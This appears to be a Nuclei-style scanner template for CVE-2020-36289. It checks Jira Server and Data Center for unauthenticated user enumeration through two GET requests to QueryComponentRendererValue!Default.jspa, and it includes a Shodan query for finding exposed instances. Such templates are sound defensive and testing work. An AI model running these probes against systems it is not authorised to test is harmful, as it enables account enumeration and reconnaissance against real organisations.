id: CVE-2020-36289 info: name: Atlassian Jira Unauth User Enumeration author: dhiyaneshDk severity: medium description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the QueryComponentRendererValue!Default.jspa endpoint. The affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1. reference: - https://twitter.com/ptswarm/status/1402644004781633540 - https://nvd.nist.gov/vuln/detail/CVE-2020-36289 - https://jira.atlassian.com/browse/JRASERVER-71559 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2020-36289 cwe-id: CWE-200 metadata: shodan-query: http.component:"Atlassian Jira" tags: cve,cve2020,jira,atlassian,unauth requests: - method: GET path: - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin' - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin' stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - 'rel=\"admin\"' - type: word part: header words: - 'application/json' - type: status status: - 200